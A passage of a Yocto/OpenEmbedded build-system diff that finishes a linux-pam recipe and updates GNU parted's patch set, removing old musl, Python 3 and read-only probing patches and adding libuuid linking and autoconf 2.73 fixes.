+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
+ rm -rf ${D}${sysconfdir}/init.d/
+ rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/pam-volatiles.conf \
+ ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_pam \
+ ${D}${sysconfdir}/default/volatiles/
+ fi
+
+ install -d ${D}${sysconfdir}/pam.d/
+ install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
+
+ # The lsb requires unix_chkpwd has setuid permission
+ chmod 4755 ${D}${sbindir}/unix_chkpwd
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
+ install -d ${D}/${libdir}/
+ mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
+ fi
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
+ install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
+}
+
+pkg_postinst:${PN}() {
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+inherit features_check
+ANY_OF_DISTRO_FEATURES = "pam systemd"
+
+BBCLASSEXTEND = "nativesdk native"
+
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
+CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
+
+GITHUB_BASE_URI = "https://github.com/linux-pam/linux-pam/releases"
+
+CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch b/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch
deleted file mode 100644
index b0376cefcf..0000000000
--- a/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From d78dd087c4ec4715aab5fe115668e726046ecd76 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 18:16:05 -0700
-Subject: [PATCH] Include fcntl.h in /platform_defs.h
-
-exposed when compiling using musl
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libparted/fs/xfs/platform_defs.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/libparted/fs/xfs/platform_defs.h b/libparted/fs/xfs/platform_defs.h
-index 2b55752..32bd3d3 100644
---- a/libparted/fs/xfs/platform_defs.h
-+++ b/libparted/fs/xfs/platform_defs.h
-@@ -42,6 +42,7 @@
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
-+#include <fcntl.h>
- #include <sys/param.h>
- #include <sys/types.h>
-
---
-2.1.4
-
diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
deleted file mode 100644
index 428b14ed5e..0000000000
--- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 6e82af54714392dcdf74a8aedaae7de7d0af1080 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 16:37:24 +0300
-Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/gpt-header-move | 2 +-
- tests/msdos-overlap | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tests/gpt-header-move b/tests/gpt-header-move
-index 05cdc65..3cbcb7e 100755
---- a/tests/gpt-header-move
-+++ b/tests/gpt-header-move
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # open img file, subtract 33 from altlba address, and move the last 33 sectors
- # back by 33 sectors
-diff --git a/tests/msdos-overlap b/tests/msdos-overlap
-index 5bddfb0..3de7d2e 100755
---- a/tests/msdos-overlap
-+++ b/tests/msdos-overlap
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
- """
- Write an overlapping partition to a msdos disk
-
-@@ -14,7 +14,7 @@ BAD_ENTRY = (0x72, 0xf5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- OFFSET = 0x1b8
-
- if len(sys.argv) < 2:
-- print "%s: <image or device>"
-+ print("%s: <image or device>")
- sys.exit(1)
-
- data = "".join(chr(c) for c in BAD_ENTRY)
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
new file mode 100644
index 0000000000..10354f1ed9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
@@ -0,0 +1,34 @@
+From 1fc88332f7e906294fd889287b9e84cefc7f1586 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Jun 2023 10:40:07 -0700
+Subject: [PATCH] fs: Add libuuid to linker flags for libparted-fs-resize
+ library
+
+This library uses uuid_generate function which comes from libuuid and
+hence it should be mentioned on linker cmdline
+
+fixes
+| aarch64-yoe-linux-ld.lld: error: undefined reference due to --no-allow-shlib-undefined: uuid_generate
+| >>> referenced by /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/fatresize/1.1.0-r0/recipe-sysroot/usr/lib/libparted-fs-resize.so
+
+Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2023-June/005873.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libparted/fs/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
+index 2f345f3..a8970eb 100644
+--- a/libparted/fs/Makefile.am
++++ b/libparted/fs/Makefile.am
+@@ -75,6 +75,7 @@ libparted_fs_resize_la_LDFLAGS = \
+ EXTRA_DIST += fsresize.sym
+ libparted_fs_resize_la_DEPENDENCIES = $(sym_file)
+
++libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
+ libparted_fs_resize_la_SOURCES = \
+ r/filesys.c \
+ r/fat/bootsector.c \
+--
+2.41.0
+
diff --git a/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch b/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch
deleted file mode 100644
index e522e1c6ef..0000000000
--- a/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch
+++ /dev/null
@@ -1,224 +0,0 @@
-From d6e15a60e84c1511523aa81272b7db7a6ec441d0 Mon Sep 17 00:00:00 2001
-From: Ovidiu Panait <ovidiu.panait@windriver.com>
-Date: Tue, 26 Sep 2017 08:04:58 +0000
-Subject: [PATCH] libparted: Use read only when probing devices on linux
- (#1245144)
-
-When a device is opened for RW closing it can trigger other actions,
-like udev scanning it for partition changes. Use read only for the
-init_* methods and RW for actual changes to the device.
-
-This adds _device_open which takes mode flags as an argument and turns
-linux_open into a wrapper for it with RW_MODE.
-
-_device_open_ro is added to open the device with RD_MODE and increment
-the open_counter. This is used in the init_* functions.
-
-_device_close is a wrapper around linux_close that decrements the
-open_counter and is used in the init_* functions.
-
-All of these changes are self-contained with no external API changes.
-The only visible change in behavior is that when a new PedDevice is
-created the device is opened in RO_MODE instead of RW_MODE.
-
-Resolves: rhbz#1245144
-
-Upstream-Status: Backport
-
-Author: Brian C. Lane <bcl@redhat.com>
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
----
- libparted/arch/linux.c | 62 +++++++++++++++++++++++++++++++++++---------------
- 1 file changed, 44 insertions(+), 18 deletions(-)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index f612617..0a06a54 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -294,7 +294,9 @@ struct blkdev_ioctl_param {
- static char* _device_get_part_path (PedDevice const *dev, int num);
- static int _partition_is_mounted_by_path (const char* path);
- static unsigned int _device_get_partition_range(PedDevice const* dev);
--
-+static int _device_open (PedDevice* dev, int flags);
-+static int _device_open_ro (PedDevice* dev);
-+static int _device_close (PedDevice* dev);
-
- static int
- _read_fd (int fd, char **buf)
-@@ -913,7 +915,7 @@ init_ide (PedDevice* dev)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- if (ioctl (arch_specific->fd, HDIO_GET_IDENTITY, &hdi)) {
-@@ -982,11 +984,11 @@ init_ide (PedDevice* dev)
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1119,7 +1121,7 @@ init_scsi (PedDevice* dev)
- char* vendor;
- char* product;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- if (ioctl (arch_specific->fd, SCSI_IOCTL_GET_IDLUN, &idlun) < 0) {
-@@ -1133,7 +1135,7 @@ init_scsi (PedDevice* dev)
- goto error_close_dev;
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
- }
-
-@@ -1155,11 +1157,11 @@ init_scsi (PedDevice* dev)
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1171,7 +1173,7 @@ init_file (PedDevice* dev)
-
- if (!_device_stat (dev, &dev_stat))
- goto error;
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- dev->sector_size = PED_SECTOR_SIZE_DEFAULT;
-@@ -1198,7 +1200,7 @@ init_file (PedDevice* dev)
- goto error_close_dev;
- }
-
-- ped_device_close (dev);
-+ _device_close (dev);
-
- dev->bios_geom.cylinders = dev->length / 4 / 32;
- dev->bios_geom.heads = 4;
-@@ -1209,7 +1211,7 @@ init_file (PedDevice* dev)
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1225,7 +1227,7 @@ init_dasd (PedDevice* dev, const char* model_name)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- LinuxSpecific* arch_specific = LINUX_SPECIFIC (dev);
-@@ -1265,11 +1267,11 @@ init_dasd (PedDevice* dev, const char* model_name)
-
- dev->model = strdup (model_name);
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1284,7 +1286,7 @@ init_generic (PedDevice* dev, const char* model_name)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- ped_exception_fetch_all ();
-@@ -1332,11 +1334,11 @@ init_generic (PedDevice* dev, const char* model_name)
-
- dev->model = strdup (model_name);
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1623,12 +1625,27 @@ retry:
- }
-
- static int
-+_device_open_ro (PedDevice* dev)
-+{
-+ int rc = _device_open (dev, RD_MODE);
-+ if (rc)
-+ dev->open_count++;
-+ return rc;
-+}
-+
-+static int
- linux_open (PedDevice* dev)
- {
-+ return _device_open (dev, RW_MODE);
-+}
-+
-+static int
-+_device_open (PedDevice* dev, int flags)
-+{
- LinuxSpecific* arch_specific = LINUX_SPECIFIC (dev);
-
- retry:
-- arch_specific->fd = open (dev->path, RW_MODE);
-+ arch_specific->fd = open (dev->path, flags);
-
- if (arch_specific->fd == -1) {
- char* rw_error_msg = strerror (errno);
-@@ -1697,6 +1714,15 @@ linux_refresh_close (PedDevice* dev)
- return 1;
- }
-
-+static int
-+_device_close (PedDevice* dev)
-+{
-+ int rc = linux_close (dev);
-+ if (dev->open_count > 0)
-+ dev->open_count--;
-+ return rc;
-+}
-+
- #if SIZEOF_OFF_T < 8
-
- #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Fri, 3 Mar 2017 21:49:15 +0100
-Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
- unbreak gold linking on test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- libparted/fs/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index d3cc8bc..c301b0b 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
- r/hfs/reloc_plus.c \
- r/hfs/reloc_plus.h
-
-+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
-+
- AM_CPPFLAGS = \
- -I$(top_srcdir)/libparted/labels \
- $(partedincludedir) \
---
-2.9.3
-
diff --git a/meta/recipes-extended/parted/files/Makefile b/meta/recipes-extended/parted/files/Makefile
deleted file mode 100644
index ee90be0814..0000000000
--- a/meta/recipes-extended/parted/files/Makefile
+++ /dev/null
@@ -1,285 +0,0 @@
-am__tty_colors_dummy = \
- mgn= red= grn= lgn= blu= brg= std=; \
- am__color_tests=no
-
-am__tty_colors = \
-$(am__tty_colors_dummy); \
-test "X$(AM_COLOR_TESTS)" != Xno \
-&& test "X$$TERM" != Xdumb \
-&& { test "X$(AM_COLOR_TESTS)" = Xalways || test -t 1 2>/dev/null; } \
-&& { \
- am__color_tests=yes; \
- red=''; \
- grn=''; \
- lgn=''; \
- blu=''; \
- mgn=''; \
- brg=''; \
- std=''; \
-}
-
-am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
-am__vpath_adj = case $$p in \
- $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
- *) f=$$p;; \
- esac;
-am__rst_title = { sed 's/.*/ & /;h;s/./=/g;p;x;s/ *$$//;p;g' && echo; }
-am__rst_section = { sed 'p;s/./=/g;' && echo; }
-am__sh_e_setup = case $$- in *e*) set +e;; esac
-
-am__common_driver_flags = \
- --color-tests "$$am__color_tests" \
- --enable-hard-errors "$$am__enable_hard_errors" \
- --expect-failure "$$am__expect_failure"
-am__check_pre = \
-$(am__sh_e_setup); \
-$(am__vpath_adj_setup) $(am__vpath_adj) \
-$(am__tty_colors); \
-srcdir=$(srcdir); export srcdir; \
-am__odir=`echo "./$@" | sed 's|/[^/]*$$||'`; \
-test "x$$am__odir" = x. || $(MKDIR_P) "$$am__odir" || exit $$?; \
-if test -f "./$$f"; then dir=./; \
-elif test -f "$$f"; then dir=; \
-else dir="$(srcdir)/"; fi; \
-tst=$$dir$$f; log='$@'; \
-if test -n '$(DISABLE_HARD_ERRORS)'; then \
- am__enable_hard_errors=no; \
-else \
- am__enable_hard_errors=yes; \
-fi; \
-$(AM_TESTS_ENVIRONMENT) $(TESTS_ENVIRONMENT)
-
-am__set_TESTS_bases = \
- bases='$(TEST_LOGS)'; \
- bases=`for i in $$bases; do echo $$i; done | sed 's/\.log$$//'`; \
- bases=`echo $$bases`
-
-RECHECK_LOGS = $(TEST_LOGS)
-TEST_SUITE_LOG = test-suite.log
-am__test_logs1 = $(TESTS:=.log)
-am__test_logs2 = $(am__test_logs1:.log=.log)
-TEST_LOGS = $(am__test_logs2:.sh.log=.log)
-SH_LOG_DRIVER = $(SHELL) $(top_srcdir)/build-aux/test-driver
-SH_LOG_COMPILE = $(SH_LOG_COMPILER)
-
-am__set_b = \
- case '$@' in \
- */*) \
- case '$*' in \
- */*) b='$*';; \
- *) b=`echo '$@' | sed 's/\.log$$//'`; \
- esac;; \
- *) \
- b='$*';; \
- esac
-
-MKDIR_P = /bin/mkdir -p
-SHELL = /bin/bash
-VERSION = 3.1
-PACKAGE_STRING = GNU parted 3.1
-PACKAGE_BUGREPORT = bug-parted@gnu.org
-abs_srcdir = $(PWD)
-abs_top_builddir = $(PWD)/..
-abs_top_srcdir = $(PWD)/..
-srcdir = .
-top_srcdir = ..
-subdir = tests
-SH_LOG_COMPILER = $(SHELL)
-
-TESTS = \
- help-version.sh \
- t0000-basic.sh \
- t0001-tiny.sh \
- t0010-script-no-ctrl-chars.sh \
- t0100-print.sh \
- t0101-print-empty.sh \
- t0200-gpt.sh \
- t0201-gpt.sh \
- t0202-gpt-pmbr.sh \
- t0203-gpt-tiny-device-abort.sh \
- t0203-gpt-shortened-device-primary-valid.sh \
- t0205-gpt-list-clobbers-pmbr.sh \
- t0206-gpt-print-with-corrupt-primary-clobbers-pmbr.sh \
- t0207-IEC-binary-notation.sh \
- t0208-mkpart-end-in-IEC.sh \
- t0209-gpt-pmbr_boot.sh \
- t0210-gpt-resized-partition-entry-array.sh \
- t0211-gpt-rewrite-header.sh \
- t0212-gpt-many-partitions.sh \
- t0220-gpt-msftres.sh \
- t0250-gpt.sh \
- t0280-gpt-corrupt.sh \
- t0300-dos-on-gpt.sh \
- t0400-loop-clobber-infloop.sh \
- t0500-dup-clobber.sh \
- t0501-duplicate.sh \
- t1100-busy-label.sh \
- t1101-busy-partition.sh \
- t1700-probe-fs.sh \
- t2200-dos-label-recog.sh \
- t2201-pc98-label-recog.sh \
- t2300-dos-label-extended-bootcode.sh \
- t2310-dos-extended-2-sector-min-offset.sh \
- t2400-dos-hfs-partition-type.sh \
- t2500-probe-corrupt-hfs.sh \
- t3000-resize-fs.sh \
- t3200-type-change.sh \
- t3300-palo-prep.sh \
- t3310-flags.sh \
- t3400-whole-disk-FAT-partition.sh \
- t4000-sun-raid-type.sh \
- t4001-sun-vtoc.sh \
- t4100-msdos-partition-limits.sh \
- t4100-dvh-partition-limits.sh \
- t4100-msdos-starting-sector.sh \
- t4200-partprobe.sh \
- t4300-nilfs2-tiny.sh \
- t5000-tags.sh \
- t6000-dm.sh \
- t6001-psep.sh \
- t6100-mdraid-partitions.sh \
- t7000-scripting.sh \
- t8000-loop.sh \
- t8001-loop-blkpg.sh \
- t9010-big-sector.sh \
- t9020-alignment.sh \
- t9021-maxima.sh \
- t9022-one-unit-snap.sh \
- t9023-value-lt-one.sh \
- t9030-align-check.sh \
- t9040-many-partitions.sh \
- t9041-undetected-in-use-16th-partition.sh \
- t9042-dos-partition-limit.sh \
- t9050-partition-table-types.sh
-
-TESTS_ENVIRONMENT = \
- export \
- abs_top_builddir='$(abs_top_builddir)' \
- abs_top_srcdir='$(abs_top_srcdir)' \
- abs_srcdir='$(abs_srcdir)' \
- built_programs=parted \
- srcdir='$(srcdir)' \
- top_srcdir='$(top_srcdir)' \
- VERSION=$(VERSION) \
- ; 9>&2
-
-.SUFFIXES: .log
-
-$(TEST_SUITE_LOG): $(TEST_LOGS)
- @$(am__sh_e_setup); $(am__tty_colors); $(am__set_TESTS_bases); \
- ws='[ ]'; \
- results=`for b in $$bases; do echo $$b.trs; done`; \
- test -n "$$results" || results=/dev/null; \
- all=` grep "^$$ws*:test-result:" $$results | wc -l`; \
- pass=` grep "^$$ws*:test-result:$$ws*PASS" $$results | wc -l`; \
- fail=` grep "^$$ws*:test-result:$$ws*FAIL" $$results | wc -l`; \
- skip=` grep "^$$ws*:test-result:$$ws*SKIP" $$results | wc -l`; \
- xfail=`grep "^$$ws*:test-result:$$ws*XFAIL" $$results | wc -l`; \
- xpass=`grep "^$$ws*:test-result:$$ws*XPASS" $$results | wc -l`; \
- error=`grep "^$$ws*:test-result:$$ws*ERROR" $$results | wc -l`; \
- if test `expr $$fail + $$xpass + $$error` -eq 0; then \
- success=true; \
- else \
- success=false; \
- fi; \
- br='==================='; br=$$br$$br$$br$$br; \
- result_count () \
- { \
- if test x"$$1" = x"--maybe-color"; then \
- maybe_colorize=yes; \
- elif test x"$$1" = x"--no-color"; then \
- maybe_colorize=no; \
- else \
- echo "$@: invalid 'result_count' usage" >&2; exit 4; \
- fi; \
- shift; \
- desc=$$1 count=$$2; \
- if test $$maybe_colorize = yes && test $$count -gt 0; then \
- color_start=$$3 color_end=$$std; \
- else \
- color_start= color_end=; \
- fi; \
- echo "$${color_start}# $$desc $$count$${color_end}"; \
- }; \
- create_testsuite_report () \
- { \
- result_count $$1 "TOTAL:" $$all "$$brg"; \
- result_count $$1 "PASS: " $$pass "$$grn"; \
- result_count $$1 "SKIP: " $$skip "$$blu"; \
- result_count $$1 "XFAIL:" $$xfail "$$lgn"; \
- result_count $$1 "FAIL: " $$fail "$$red"; \
- result_count $$1 "XPASS:" $$xpass "$$red"; \
- result_count $$1 "ERROR:" $$error "$$mgn"; \
- }; \
- { \
- echo "$(PACKAGE_STRING): $(subdir)/$(TEST_SUITE_LOG)" | \
- $(am__rst_title); \
- create_testsuite_report --no-color; \
- echo; \
- echo ".. contents:: :depth: 2"; \
- echo; \
- for i in $$bases; do \
- if grep "^$$ws*:copy-in-global-log:$$ws*no$$ws*$$" $$i.trs \
- >/dev/null; then continue; \
- fi; \
- glob_res=`sed -n -e "s/$$ws*$$//" \
- -e "s/^$$ws*:global-test-result:$$ws*//p" \
- $$i.trs`; \
- test -n "$$glob_res" || glob_res=RUN; \
- echo "$$glob_res: $$i" | $(am__rst_section); \
- if test ! -r $$i.log; then \
- echo "fatal: making $@: $$i.log is unreadable" >&2; \
- exit 1; \
- fi; \
- cat $$i.log; echo; \
- done; \
- } >$(TEST_SUITE_LOG).tmp; \
- mv $(TEST_SUITE_LOG).tmp $(TEST_SUITE_LOG); \
- if $$success; then \
- col="$$grn"; \
- else \
- col="$$red"; \
- test x"$$VERBOSE" = x || cat $(TEST_SUITE_LOG); \
- fi; \
- echo "$${col}$$br$${std}"; \
- echo "$${col}Testsuite summary for $(PACKAGE_STRING)$${std}"; \
- echo "$${col}$$br$${std}"; \
- create_testsuite_report --maybe-color; \
- echo "$$col$$br$$std"; \
- if $$success; then :; else \
- echo "$${col}See $(subdir)/$(TEST_SUITE_LOG)$${std}"; \
- if test -n "$(PACKAGE_BUGREPORT)"; then \
- echo "$${col}Please report to $(PACKAGE_BUGREPORT)$${std}"; \
- fi; \
- echo "$$col$$br$$std"; \
- fi; \
- $$success || exit 1
-
-check-TESTS:
- @if test $@ != recheck; then \
- list='$(RECHECK_LOGS)'; \
- test -z "$$list" || rm -f $$list; \
- fi
- @test -z "$(TEST_SUITE_LOG)" || rm -f $(TEST_SUITE_LOG)
- @ws='[ ]'; \
- log_list='' trs_list=''; $(am__set_TESTS_bases); \
- for i in $$bases; do \
- if test -z "$$log_list"; then \
- log_list="$$i.log"; \
- else \
- log_list="$$log_list $$i.log"; \
- fi; \
- if test -z "$$trs_list"; then \
- trs_list="$$i.trs"; \
- else \
- trs_list="$$trs_list $$i.trs"; \
- fi; \
- done; \
- $(MAKE) $(AM_MAKEFLAGS) $(TEST_SUITE_LOG) TEST_LOGS="$$log_list"
-
-.sh.log:
- @p='$<'; \
- $(am__set_b); \
- $(am__check_pre) $(SH_LOG_DRIVER) --test-name "$$f" \
- --log-file $$b.log --trs-file $$b.trs \
- $(am__common_driver_flags) -- $(SH_LOG_COMPILE) "$$tst"
diff --git a/meta/recipes-extended/parted/files/autoconf-2.73.patch b/meta/recipes-extended/parted/files/autoconf-2.73.patch
new file mode 100644
index 0000000000..63dea88bfc
--- /dev/null
+++ b/meta/recipes-extended/parted/files/autoconf-2.73.patch
@@ -0,0 +1,22 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next parted upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+--- a/m4/largefile.m4
++++ b/m4/largefile.m4
+@@ -27,7 +27,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # Work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch b/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch
deleted file mode 100644
index 68ab715f32..0000000000
--- a/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 060e74354774d36d2c11ef08e3e7ea9b9b6e23fb Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 13 Nov 2014 11:29:33 +0800
-Subject: [PATCH] libparted/arch/linux.c: fix compile failure while
- --disable-device-mapper
-
-While --disable-device-mapper, the MACRO ENABLE_DEVICE_MAPPER is
-undef, but it missed to scope some device mapper functions.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- libparted/arch/linux.c | 8 ++++++--
- 1 file changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index 6fd73c5..2afa479 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -2320,6 +2320,7 @@ zasprintf (const char *format, ...)
- static char *
- dm_canonical_path (PedDevice const *dev)
- {
-+#ifdef ENABLE_DEVICE_MAPPER
- LinuxSpecific const *arch_specific = LINUX_SPECIFIC (dev);
-
- /* Get map name from devicemapper */
-@@ -2337,6 +2338,7 @@ dm_canonical_path (PedDevice const *dev)
- dm_task_destroy (task);
- return dev_name;
- err:
-+#endif
- return NULL;
- }
-
-@@ -2957,13 +2959,15 @@ _disk_sync_part_table (PedDisk* disk)
- unsigned long long *start,
- unsigned long long *length);
-
--
-+#ifdef ENABLE_DEVICE_MAPPER
- if (disk->dev->type == PED_DEVICE_DM) {
